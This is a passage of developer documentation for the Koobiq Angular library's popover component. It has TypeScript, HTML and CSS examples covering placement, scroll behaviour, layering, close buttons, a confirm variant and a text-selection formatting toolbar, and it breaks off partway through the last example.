        KbqInputModule,
        KbqToggleModule
    ],
    templateUrl: 'popover-placement-edges-example.html',
    styles: `
        .popover-placement-edges-example {
            display: flex;
            column-gap: 16px;
        }

        .popover-placement-edges-example__column {
            display: flex;
            flex-direction: column;
            justify-content: center;
            width: 100%;
        }

        .popover-placement-edges-example__column button {
            width: 100%;
        }

        .popover-placement-edges-example__column button + button {
            margin-top: 52px;
        }

        .popover-placement-edges-example__column.middle button + button {
            margin-top: 136px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverPlacementEdgesExample {
    placements = PopUpPlacements;
    activePopover: KbqPopoverTrigger;
    protected arrowCentered = false;
}
```

```html popover-placement-edges-example.html
<kbq-toggle class="layout-margin-bottom-l" [checked]="arrowCentered" (change)="arrowCentered = $event.checked">
    Arrow centered
</kbq-toggle>

<div class="popover-placement-edges-example">
    <ng-template #customContent>
        <div class="layout-margin-bottom-s">Интересно, что это такое?</div>
        <kbq-form-field>
            <input kbqInput placeholder="Интересная мысль" />
        </kbq-form-field>
    </ng-template>

    <ng-template #customFooter>
        <div style="gap: 16px" class="layout-row layout-wrap">
            <button kbq-button [color]="'contrast'" (click)="activePopover.hide(0)">Сохранить</button>
            <button kbq-button (click)="activePopover.hide(0)">Отмена</button>
        </div>
    </ng-template>

    <div class="popover-placement-edges-example__column">
        <button
            #kbqLeftTopPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrow]="false"
            [kbqPopoverPlacement]="placements.LeftTop"
            (click)="activePopover = kbqLeftTopPopover"
        >
            leftTop
        </button>
        <button
            #kbqLeftBottomPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrow]="false"
            [kbqPopoverPlacement]="placements.LeftBottom"
            (click)="activePopover = kbqLeftBottomPopover"
        >
            leftBottom
        </button>
    </div>
    <div class="popover-placement-edges-example__column middle">
        <button
            #kbqTopLeftPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrowCentered]="arrowCentered"
            [kbqPopoverPlacement]="placements.TopLeft"
            (click)="activePopover = kbqTopLeftPopover"
        >
            topLeft
        </button>
        <button
            #kbqBottomLeftPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrowCentered]="arrowCentered"
            [kbqPopoverPlacement]="placements.BottomLeft"
            (click)="activePopover = kbqBottomLeftPopover"
        >
            bottomLeft
        </button>
    </div>
    <div class="popover-placement-edges-example__column"></div>
    <div class="popover-placement-edges-example__column middle">
        <button
            #kbqTopRightPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrowCentered]="arrowCentered"
            [kbqPopoverPlacement]="placements.TopRight"
            (click)="activePopover = kbqTopRightPopover"
        >
            topRight
        </button>
        <button
            #kbqBottomRightPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrowCentered]="arrowCentered"
            [kbqPopoverPlacement]="placements.BottomRight"
            (click)="activePopover = kbqBottomRightPopover"
        >
            bottomRight
        </button>
    </div>
    <div class="popover-placement-edges-example__column">
        <button
            #kbqRightTopPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrow]="false"
            [kbqPopoverPlacement]="placements.RightTop"
            (click)="activePopover = kbqRightTopPopover"
        >
            rightTop
        </button>
        <button
            #kbqRightBottomPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverArrow]="false"
            [kbqPopoverPlacement]="placements.RightBottom"
            (click)="activePopover = kbqRightBottomPopover"
        >
            rightBottom
        </button>
    </div>
</div>
```

#### Opening at the click point

`kbqRelativeToPointer` anchors the popover to the clicked point instead of the whole trigger. The arrow follows that point when the panel is flipped or pushed away from a viewport edge, and the point stays attached to the trigger while the page scrolls.

**Example: Popover at the click point** (`popover-relative-to-pointer`)

```ts popover-relative-to-pointer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-relative-to-pointer-example',
    imports: [KbqButtonModule, KbqPopoverModule],
    template: `
        <ng-template #owner let-owner>Information about {{ owner }}.</ng-template>

        <button
            type="button"
            kbq-button
            kbqPopover
            kbqRelativeToPointer
            kbqPopoverAriaLabel="Owner information"
            class="example-owner-trigger"
            [kbqPopoverContent]="owner"
            [kbqPopoverContext]="selectedOwner"
            (click)="selectOwner($event)"
        >
            <span data-owner="Ivan Ivanov">Ivan Ivanov</span>
            ,
            <span data-owner="Petr Petrov">Petr Petrov</span>
        </button>
    `,
    styles: `
        .example-owner-trigger {
            width: 100%;
            white-space: normal;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverRelativeToPointerExample {
    protected selectedOwner = 'Ivan Ivanov';

    protected selectOwner(event: MouseEvent): void {
        if (!(event.target instanceof Element)) return;

        const owner = event.target.closest<HTMLElement>('[data-owner]')?.dataset.owner;

        if (owner) {
            this.selectedOwner = owner;
        }
    }
}
```

Keyboard and programmatic opens stay anchored to the trigger. An explicit `kbqPopoverOrigin` takes precedence. The input name is shared with tooltip: binding it on an element that carries both directives enables cursor-relative positioning for both.

#### Behavior when scrolling the page

By default, the popover does not close when the page scrolls and scrolls along with the page, remaining at the position from which it was opened.

The popover can be configured to close when the page scrolls; which behavior to choose is up to the designer.

**Example: popover-scroll** (`popover-scroll`)

```ts popover-scroll-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';

@Component({
    selector: 'popover-scroll-example',
    imports: [
        KbqButtonModule,
        KbqPopoverModule,
        KbqInputModule
    ],
    template: `
        <ng-template #customContent>
            <div class="layout-margin-bottom-s">Интересно, что это такое?</div>
            <kbq-form-field>
                <input kbqInput placeholder="Интересная мысль" />
            </kbq-form-field>
        </ng-template>

        <ng-template #customFooter>
            <div class="layout-row layout-wrap" style="gap: 16px">
                <button kbq-button [color]="'contrast'" (click)="activePopover.hide(0)">Сохранить</button>
                <button kbq-button (click)="activePopover.hide(0)">Отмена</button>
            </div>
        </ng-template>

        <div class="layout-row layout-wrap" style="gap: 16px">
            <button
                #kbqNoClosePopover="kbqPopover"
                kbq-button
                kbqPopover
                [kbqPopoverClass]="'popover-scroll-example'"
                [kbqPopoverContent]="customContent"
                [kbqPopoverFooter]="customFooter"
                (click)="activePopover = kbqNoClosePopover"
            >
                Поповер не закрывается при прокрутке
            </button>
            <button
                #kbqClosePopover="kbqPopover"
                kbq-button
                kbqPopover
                [kbqPopoverCloseOnScroll]="true"
                [kbqPopoverClass]="'popover-scroll-example'"
                [kbqPopoverContent]="customContent"
                [kbqPopoverFooter]="customFooter"
                (click)="activePopover = kbqClosePopover"
            >
                Закрывается при прокрутке
            </button>
        </div>
    `,
    styles: `
        ::ng-deep .kbq-popover.kbq-popover_medium.popover-scroll-example {
            width: 400px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverScrollExample {
    activePopover: KbqPopoverTrigger;
}
```

The behavior is controlled by `kbqPopoverCloseOnScroll`, which has three states. Left unbound, the popover survives a scroll but still closes once it has scrolled out of a container marked with the `kbq-hide-nested-popup` class. Set to `true`, it closes on any scroll. Set to `false`, it never closes on a scroll — not even in such a container.

#### Layering

By default, the popover appears above the horizontal [Navbar](https://koobiq.io/en/components/navbar.md) and [Topbar](https://koobiq.io/en/components/top-bar.md). To have it slide under them while the page scrolls, as in the example below, mark the content area with `kbqOverlayLayer` — see [Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header). A popover with `kbqPopoverStickToWindow` stays above the bars.

**Example: popover-scrolling-and-layering** (`popover-scrolling-and-layering`)

```ts popover-scrolling-and-layering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
    selector: 'popover-scrolling-and-layering-example',
    template: `
        <iframe
            src="/examples/popover-scrolling-and-layering-page"
            loading="lazy"
            width="648"
            height="400"
            title="popover-scrolling-and-layering-example"
            style="border: none"
        ></iframe>
    `,
    styles: `
        :host {
            display: flex;
            margin: -20px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverScrollingAndLayeringExample {}
```

#### Usage examples

The popover can be used without a header and footer — these are optional elements.

The size of the vertical inner padding in the content area depends on the presence of a header and footer. Without a header, the top padding increases. Without a footer, the bottom padding increases.

**Example: Popover Header** (`popover-header`)

```ts popover-header-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-header-example',
    imports: [
        KbqDl,
        KbqDt,
        KbqDd,
        KbqPopoverModule,
        KbqButtonModule,
        KbqBadgeModule
    ],
    templateUrl: 'popover-header-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverHeaderExample {
    badgeColors = KbqBadgeColors;
}
```

```html popover-header-example.html
<ng-template #customContent>
    <p style="margin-top: 0">
        Жёлтые кубики — это песок, кубик зелёный — весенний лесок, синие кубики — это река. Кубиков много — река широка.
        Кубик на кубик — растут этажи: учатся строить UI малыши.
    </p>
    <kbq-dl class="kbq-dl_wide">
        <kbq-dt>Желтые кубики</kbq-dt>
        <kbq-dd>Песок</kbq-dd>

        <kbq-dt>Кубик Зеленый</kbq-dt>
        <kbq-dd>Весенний лесок</kbq-dd>

        <kbq-dt>Кубиков много</kbq-dt>
        <kbq-dd>Река широка Кубик на кубик Растут этажи</kbq-dd>

        <kbq-dt>Кубик на кубик</kbq-dt>
        <kbq-dd>
            <kbq-badge [badgeColor]="badgeColors.FadeContrast">Растут этажи</kbq-badge>
        </kbq-dd>

        <kbq-dt>Кубики вместе сложились</kbq-dt>
        <kbq-dd>И сайт оживает</kbq-dd>

        <kbq-dt>Взрослые мир создают</kbq-dt>
        <kbq-dd>О котором мечтают</kbq-dd>
    </kbq-dl>
</ng-template>

<ng-template #customFooter>
    <button kbq-button (click)="kbqPopover.hide()">Закрыть</button>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap">
    <button
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverContent]="customContent"
        [kbqPopoverHeader]="'Заголовок поповера'"
    >
        Только с шапкой
    </button>
    <button
        #kbqPopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverContent]="customContent"
        [kbqPopoverFooter]="customFooter"
    >
        Только с футером
    </button>
    <button kbq-button kbqPopover [kbqPopoverContent]="customContent">Без хедера и футера</button>
</div>
```

##### Title in the content area

The title can be moved to the content area instead of placing it in a separate header panel. This approach works well when there is no scrolling in the popover.

**Example: Popover content** (`popover-content`)

```ts popover-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-content-example',
    imports: [
        KbqDropdownModule,
        KbqButtonModule,
        KbqInputModule,
        KbqIconModule,
        KbqPopoverModule
    ],
    templateUrl: 'popover-content-example.html',
    styleUrls: ['popover-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverContentExample {
    members: Record<string, string>[] = [
        { name: 'Alex Unipraise', role: 'Editor' },
        { name: 'Serge Vox', role: 'Editor' },
        { name: 'Rick Brick', role: 'Viewer' },
        { name: 'Viber Curly', role: 'Viewer' },
        { name: 'Jackie Ckang', role: 'Viewer' },
        { name: 'Robert Skinner', role: 'Viewer' },
        { name: 'Woodie Hoodie', role: 'Viewer' },
        { name: 'Alex Buckmaster', role: 'Viewer' },
        { name: 'Chris Glasser', role: 'Viewer' },
        { name: 'Corina McCoy', role: 'Viewer' }
    ];
    protected readonly componentColors = KbqComponentColors;
}
```

```html popover-content-example.html
<ng-template #shareContent>
    <div class="kbq-subheading">Share project</div>
    <div class="popover-content-share-example__text">
        Give your teammates access to the project and start collaborating in real time
    </div>
    <form novalidate class="kbq-form-vertical">
        <div class="kbq-form__fieldset">
            <div class="kbq-form__label-wrapper">
                <label class="kbq-form__label">Email</label>
            </div>
            <div class="kbq-form__fieldset kbq-horizontal">
                <div class="kbq-form__row">
                    <kbq-form-field class="kbq-form__control">
                        <input kbqInput name="input" />
                    </kbq-form-field>
                </div>
                <div class="kbq-form__row">
                    <button kbq-button [color]="'contrast'" (click)="kbqSharePopover.hide(0)">Send invite</button>
                </div>
            </div>
        </div>
    </form>
    <div class="example-popover-content-share__list">
        <div class="example-popover-content-share__list-title">Members</div>
        @for (member of members; track member) {
            <div class="example-popover-content-share__list-item">
                <div class="example-popover-content-share__list-item-left">
                    <img
                        alt="{{ member.name }}"
                        src="https://koobiq.io/assets/images/popover/list-member-{{ $index + 1 }}.png"
                        class="example-popover-content-share__list-item-image"
                    />
                    <div class="example-popover-content-share__list-item-name">{{ member.name }}</div>
                </div>
                <button
                    kbq-button
                    class="kbq-button_transparent"
                    [color]="componentColors.Contrast"
                    [kbqDropdownTriggerFor]="appDropdown"
                >
                    {{ member.role }}
                    <i kbq-icon="kbq-chevron-down-s_16" [color]="componentColors.Contrast"></i>
                </button>
            </div>
        }
        <kbq-dropdown #appDropdown="kbqDropdown" [class]="'max-width'" [navigationWithWrap]="true">
            <button kbq-dropdown-item>Editor</button>
            <button kbq-dropdown-item>Viewer</button>
        </kbq-dropdown>
    </div>
</ng-template>

<ng-template #customContent>
    <div
        class="example-popover-content-custom__image"
        [style]="{ 'background-image': 'url(\'/assets/images/popover/hero-header.jpg\')' }"
    ></div>
    <div class="example-popover-content-custom__container">
        <h4 class="kbq-title">Абракадабра!</h4>
        <p>Таинственное слово, которому приписывалась чудодейственная сила</p>
        <button kbq-button [color]="'contrast'" (click)="kbqCustomPopover.hide(0)">Сделать магию</button>
    </div>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap">
    <button
        #kbqSharePopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'example-popover-content-share'"
        [kbqPopoverContent]="shareContent"
    >
        Без панели хедера
    </button>
    <button
        #kbqCustomPopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'example-popover-content-custom'"
        [kbqPopoverContent]="customContent"
    >
        Нестандартные стили и отступы
    </button>
</div>
```

```css popover-content-example.css
::ng-deep .kbq-popover.example-popover-content-custom .kbq-title {
    margin: 0 0;
}

::ng-deep .kbq-popover.example-popover-content-custom .kbq-popover__content {
    padding: 0 0;
}

::ng-deep .kbq-popover.example-popover-content-custom .kbq-popover__content p {
    margin-top: 8px;
    margin-bottom: 16px;
    text-align: center;
}

::ng-deep
    .kbq-popover.example-popover-content-custom
    .kbq-popover__content
    .kbq-popover__close-container
    .kbq-popover__close {
    transform: none;
    top: 8px;
    right: 8px;
}

.example-popover-content-custom__image {
    padding-top: calc(172 / 400 * 100%);
    background-size: cover;
}

.example-popover-content-custom__container {
    padding: 24px 32px 40px 32px;
    display: flex;
    flex-direction: column;
    align-items: center;
}

::ng-deep .kbq-popover.example-popover-content-share .kbq-form__label {
    display: block;
}

::ng-deep .kbq-popover.example-popover-content-share .kbq-form__fieldset {
    justify-content: space-between;
}

::ng-deep .kbq-popover.example-popover-content-share .kbq-form__row:first-child {
    width: 100%;
}

::ng-deep
    .kbq-popover.example-popover-content-share
    .kbq-form__fieldset.kbq-horizontal
    .kbq-form__row:not(:first-child) {
    padding-left: 8px;
}

.example-popover-content-share__text {
    color: #6c7393;
    margin-top: 4px;
    margin-bottom: 12px;
}

.example-popover-content-share__list {
    margin-top: 16px;
}

.example-popover-content-share__list-item {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-top: 12px;
}

.example-popover-content-share__list-item-left {
    display: flex;
    align-items: center;
}

.example-popover-content-share__list-item-image {
    width: 32px;
    height: 32px;
    border-radius: 100%;
    margin-right: 12px;
}
```

##### Close button in the top corner

The close button can be placed in the header or in the top right corner when there is no header panel. This is a way to eliminate a footer with a single "Close" button.

**Example: Popover close** (`popover-close`)

```ts popover-close-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-close-example',
    imports: [KbqInputModule, KbqButtonModule, KbqPopoverModule, KbqIconModule, KbqDropdownModule],
    templateUrl: 'popover-close-example.html',
    styleUrls: ['popover-close-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverCloseExample {
    members: Record<string, string>[] = [
        { name: 'Alex Unipraise', role: 'Editor' },
        { name: 'Serge Vox', role: 'Editor' },
        { name: 'Rick Brick', role: 'Viewer' },
        { name: 'Viber Curly', role: 'Viewer' },
        { name: 'Jackie Ckang', role: 'Viewer' },
        { name: 'Robert Skinner', role: 'Viewer' },
        { name: 'Woodie Hoodie', role: 'Viewer' },
        { name: 'Alex Buckmaster', role: 'Viewer' },
        { name: 'Chris Glasser', role: 'Viewer' },
        { name: 'Corina McCoy', role: 'Viewer' }
    ];
    protected readonly componentColors = KbqComponentColors;
}
```

```html popover-close-example.html
<ng-template #customContent>
    <h1 style="margin-top: 0" class="kbq-headline">Making hybrid‑remote inclusive with unique audio technology</h1>
    <p style="margin-top: 0">
        Traditional video conferencing can make remote colleagues feel like second-class citizens
    </p>
    <p>
        Around is designed to be inclusive, so remote team members truly feel like part of the group. By being able to
        use your own device, everyone is seen and heard clearly — and no one ever sounds “far from the mic.” Everyone
        stays engaged. No one steals the spotlight.
    </p>
    <p>
        We take privacy and security very seriously. We leverage industry standard data security policies to keep all
        customer data safe and treat the protection of user privacy and data with the utmost importance. You can learn
        more about our privacy policy here.
    </p>
    <p>
        Encrypted Calls & Communication. All calls (including audio/video) are secured with TLS and AES-128 encryption.
    </p>
    <p>
        We take privacy and security very seriously. We leverage industry standard data security policies to keep all
        customer data safe and treat the protection of user privacy and data with the utmost importance. You can learn
        more about our privacy policy here.
    </p>
    <p style="margin-bottom: 0">
        Around is designed to be inclusive, so remote team members truly feel like part of the group. By being able to
        use your own device, everyone is seen and heard clearly — and no one ever sounds “far from the mic.” Everyone
        stays engaged. No one steals the spotlight.
    </p>
</ng-template>

<ng-template #shareContent>
    <div class="kbq-subheading">Share project</div>
    <div class="example-popover-close__text">
        Give your teammates access to the project and start collaborating in real time
    </div>
    <form novalidate class="kbq-form-vertical">
        <div class="kbq-form__fieldset">
            <div class="kbq-form__label-wrapper">
                <label class="kbq-form__label">Email</label>
            </div>
            <div class="kbq-form__fieldset kbq-horizontal">
                <div class="kbq-form__row">
                    <kbq-form-field class="kbq-form__control">
                        <input kbqInput name="input" />
                    </kbq-form-field>
                </div>
                <div class="kbq-form__row">
                    <button kbq-button [color]="'contrast'" (click)="kbqSharePopover.hide(0)">Send invite</button>
                </div>
            </div>
        </div>
    </form>
    <div class="example-popover-close__list">
        <div class="example-popover-close__list-title">Members</div>
        @for (member of members; track member) {
            <div class="example-popover-close__list-item">
                <div class="example-popover-close__list-item-left">
                    <img
                        alt="{{ member.name }}"
                        src="https://koobiq.io/assets/images/popover/list-member-{{ $index + 1 }}.png"
                        class="example-popover-close__list-item-image"
                    />
                    <div class="example-popover-close__list-item-name">{{ member.name }}</div>
                </div>
                <button
                    kbq-button
                    class="kbq-button_transparent"
                    [color]="componentColors.Contrast"
                    [kbqDropdownTriggerFor]="appDropdown"
                >
                    {{ member.role }}
                    <i kbq-icon="kbq-chevron-down-s_16" [color]="componentColors.Contrast"></i>
                </button>
            </div>
        }
        <kbq-dropdown #appDropdown="kbqDropdown" [class]="'max-width'" [navigationWithWrap]="true">
            <button kbq-dropdown-item>Editor</button>
            <button kbq-dropdown-item>Viewer</button>
        </kbq-dropdown>
    </div>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap">
    <button
        #kbqSharePopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverContent]="customContent"
    >
        Крестик в углу с большим заголовком
    </button>
    <button
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'example-popover-close'"
        [kbqPopoverContent]="shareContent"
    >
        Крестик в углу в окне «Поделиться»
    </button>
</div>
```

```css popover-close-example.css
::ng-deep .kbq-popover.example-popover-close .kbq-form__label {
    display: block;
}

::ng-deep .kbq-popover.example-popover-close .kbq-form__fieldset {
    justify-content: space-between;
}

::ng-deep .kbq-popover.example-popover-close .kbq-form__row:first-child {
    width: 100%;
}

::ng-deep .kbq-popover.example-popover-close .kbq-form__fieldset.kbq-horizontal .kbq-form__row:not(:first-child) {
    padding-left: 8px;
}

.example-popover-close__text {
    color: #6c7393;
    margin-top: 4px;
    margin-bottom: 12px;
}

.example-popover-close__list {
    margin-top: 16px;
}

.example-popover-close__list-item {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-top: 12px;
}

.example-popover-close__list-item-left {
    display: flex;
    align-items: center;
}

.example-popover-close__list-item-image {
    width: 32px;
    height: 32px;
    border-radius: 100%;
    margin-right: 12px;
}
```

##### Confirming an action

`[kbqPopoverConfirm]` is a ready-made variant of the popover that asks the user to confirm an action. It has neither a header nor a footer: the panel holds the question and a single confirming button, emits `confirm` when that button is pressed, and closes itself.

```html
<button kbq-button kbqPopoverConfirm (confirm)="deleteReport()">Delete</button>
```

Both strings are optional and can be set per trigger:

```html
<button
    kbq-button
    kbqPopoverConfirm
    kbqPopoverConfirmText="Delete the report?"
    kbqPopoverConfirmButtonText="Delete"
    (confirm)="deleteReport()"
>
    Delete
</button>
```

Left unbound, the question and the button caption come from the `popoverConfirm` section of the active locale, so an application that switched its locale gets the translated wording without configuring anything. To override the wording for a whole application — or for any part of it — provide `KBQ_POPOVER_CONFIRM_TEXT` and `KBQ_POPOVER_CONFIRM_BUTTON_TEXT`: an input beats the provider, and the provider beats the locale.

##### Opening next to a text selection

A popover can open next to selected text. It stays next to the selection while the page scrolls, and the selection stays in place when an action is chosen.

**Example: Popover next to a text selection** (`popover-text-selection`)

```ts popover-text-selection-example.ts
import { DOCUMENT } from '@angular/common';
import { ChangeDetectionStrategy, Component, ElementRef, inject, signal, viewChild } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCaretRect, kbqCreateCaretOrigin, kbqGetSelectionRect } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';
import { debounceTime, fromEvent } from 'rxjs';

/** `Node.TEXT_NODE`, spelled out so that the example never reads a DOM global. */
const TEXT_NODE = 3;

const EMPTY_RECT: KbqCaretRect = { x: 0, y: 0, width: 0, height: 0 };

/** How long a keyboard selection has to stand still before the toolbar follows it, in milliseconds. */
const SELECTION_SETTLE_DELAY = 200;

/** Each format is the element the selected text is wrapped in. */
const FORMATS = [
    { tag: 'strong', icon: 'kbq-text-bold_16', label: 'Bold' },
    { tag: 'em', icon: 'kbq-text-italic_16', label: 'Italic' },
    { tag: 'u', icon: 'kbq-text-underline_16', label: 'Underline' }
] as const;

type Format = (typeof FORMATS)[number];

@Component({
    selector: 'popover-text-selection-example',
    imports: [
        KbqButtonModule,
        KbqIconModule,
        KbqPopoverModule
    ],
    template: `
        <ng-template #toolbar>
            <!-- A click on the toolbar would otherwise drop the selection the toolbar is attached to. -->
            <div
                aria-label="Text formatting"
                class="example-toolbar__buttons"
                role="group"
                (mousedown)="$event.preventDefault()"
            >
                @for (format of formats; track format.tag) {
                    <button
                        kbq-button
                        kbqStyle="transparent"
                        [attr.aria-label]="format.label"
                        [attr.aria-pressed]="active().includes(format.tag)"
                        [class.kbq-active]="active().includes(format.tag)"
                        (click)="toggle(format)"
                    >
                        <i [kbq-icon]="format.icon"></i>
                    </button>
                }
            </div>
        </ng-template>

        <p
            #text
            class="example-article"
            kbqPopover
            kbqPopoverAriaLabel="Text formatting"
            kbqPopoverClass="example-toolbar"
            kbqPopoverPlacement="top"
            kbqPopoverSize="custom"
            kbqTrigger="manual"
            [kbqPopoverArrow]="false"
            [kbqPopoverAutoFocus]="false"
            [kbqPopoverContent]="toolbar"
            [kbqPopoverDefaultPaddings]="false"
            [kbqPopoverOrigin]="origin"
            [kbqPopoverVisible]="visible()"
        >
            Select any part of this paragraph to format it: the toolbar appears right above the selected text and
            follows it while the page scrolls. Press Escape or click anywhere else to close it.
        </p>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: 48px 0 24px;
        }

        .example-article {
            max-width: 440px;
            margin: 0;
        }

        /* The panel holds a toolbar, so it never scrolls: a pixel of overflow would show a scrollbar. */
        ::ng-deep .example-toolbar .kbq-popover__content {
            overflow: hidden;
        }

        .example-toolbar__buttons {
            display: flex;
            padding: var(--kbq-size-xxs);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverTextSelectionExample {
    private readonly document = inject(DOCUMENT);
    private readonly text = viewChild<ElementRef<HTMLElement>>('text');
    private readonly popover = viewChild(KbqPopoverTrigger);

    /** Stays on the selection: the rectangle is measured again every time the panel is positioned. */
    protected readonly origin = kbqCreateCaretOrigin(() => this.measureSelection());
    protected readonly visible = signal(false);
    /** The formats the selection already carries. */
    protected readonly active = signal<string[]>([]);
    protected readonly formats = FORMATS;

    /** Whether a pointer selection is still being dragged out. */
    private selecting = false;

    constructor() {
        // A pointer selection is only final on `pointerup`: shown on the first `selectionchange`, the toolbar
        // would anchor to the first characters of a selection the user is still dragging out.
        fromEvent<PointerEvent>(this.document, 'pointerdown')
            .pipe(takeUntilDestroyed())
            .subscribe((event) => {
                if (this.isInsideToolbar(event.target)) return;

                this.selecting = true;
                this.visible.set(false);
            });

        fromEvent<PointerEvent>(this.document, 'pointerup')
            .pipe(takeUntilDestroyed())
            .subscribe((event) => {
                if (this.isInsideToolbar(event.target)) return;

                this.selecting = false;
                this.readSelection();
            });

        // A keyboard selection has no such end, so the toolbar follows it once it stops growing.
        fromEvent(this.document, 'selectionchange')
            .pipe(debounceTime(SELECTION_SETTLE_DELAY), takeUntilDestroyed())
            .subscribe(() => {
                if (!this.selecting) {
                    this.readSelection();
                }
            });

        // The toolbar never takes focus on its own, so its `Escape` and `Tab` handlers are out of reach.
        fromEvent<KeyboardEvent>(this.document, 'keydown')
            .pipe(takeUntilDestroyed())
            .subscribe((event) => this.handleKeydown(event));
    }

    protected toggle(format: Format): void {
        const range = this.getRange();

        if (!range) return;

        const wrapper = this.findWrapper(range, format.tag);
        const next = this.document.createRange();

        if (wrapper) {
            // The whole wrapper goes, so a selection inside a longer formatted run unformats that run.
            const contents = Array.from(wrapper.childNodes);

            if (!contents.length) return;

            wrapper.replaceWith(...contents);

            next.setStartBefore(contents[0]);
            next.setEndAfter(contents[contents.length - 1]);
        } else {
            const element = this.document.createElement(format.tag);

            // Unlike `surroundContents`, this survives a selection that starts or ends inside another element.
            element.append(range.extractContents());
            range.insertNode(element);

            next.selectNodeContents(element);
        }

        this.select(next);

        this.readSelection();
        this.popover()?.updatePosition(true);
    }

    private handleKeydown(event: KeyboardEvent): void {
        if (!this.visible()) return;

        if (event.key === 'Escape') {
            this.visible.set(false);
        }

        // The panel is in an overlay at the end of the document, so `Tab` would walk past it.
        if (event.key === 'Tab' && !event.shiftKey && !this.isInsideToolbar(this.document.activeElement)) {
            const button = this.document.querySelector<HTMLButtonElement>('.example-toolbar button');

            if (button) {
                event.preventDefault();
                button.focus();
            }
        }
    }

    private readSelection(): void {
        const range = this.getRange();
        const wasVisible = this.visible();

        this.visible.set(!!range);
        this.active.set(range ? FORMATS.filter(({ tag }) => this.findWrapper(range, tag)).map(({ tag }) => tag) : []);

        // An open panel has to be told to move, and only a re-applied position re-reads the origin rectangle.
        if (wasVisible && range) {
            this.popover()?.updatePosition(true);
        }
    }

    private isInsideToolbar(target: EventTarget | null): boolean {
        return !!(target as HTMLElement | null)?.closest?.('.example-toolbar');
    }

    private measureSelection(): KbqCaretRect {
        const element = this.text()?.nativeElement;

        return (element && kbqGetSelectionRect(element)) ?? EMPTY_RECT;
    }

    /** The current selection, when it is a range of text inside the paragraph. */
    private getRange(): Range | null {
        const selection = this.document.getSelection();
        const element = this.text()?.nativeElement;

        if (!element || !selection || selection.isCollapsed || !selection.rangeCount) return null;

        if (!element.contains(selection.anchorNode) || !element.contains(selection.focusNode)) return null;

        return selection.getRangeAt(0);
    }

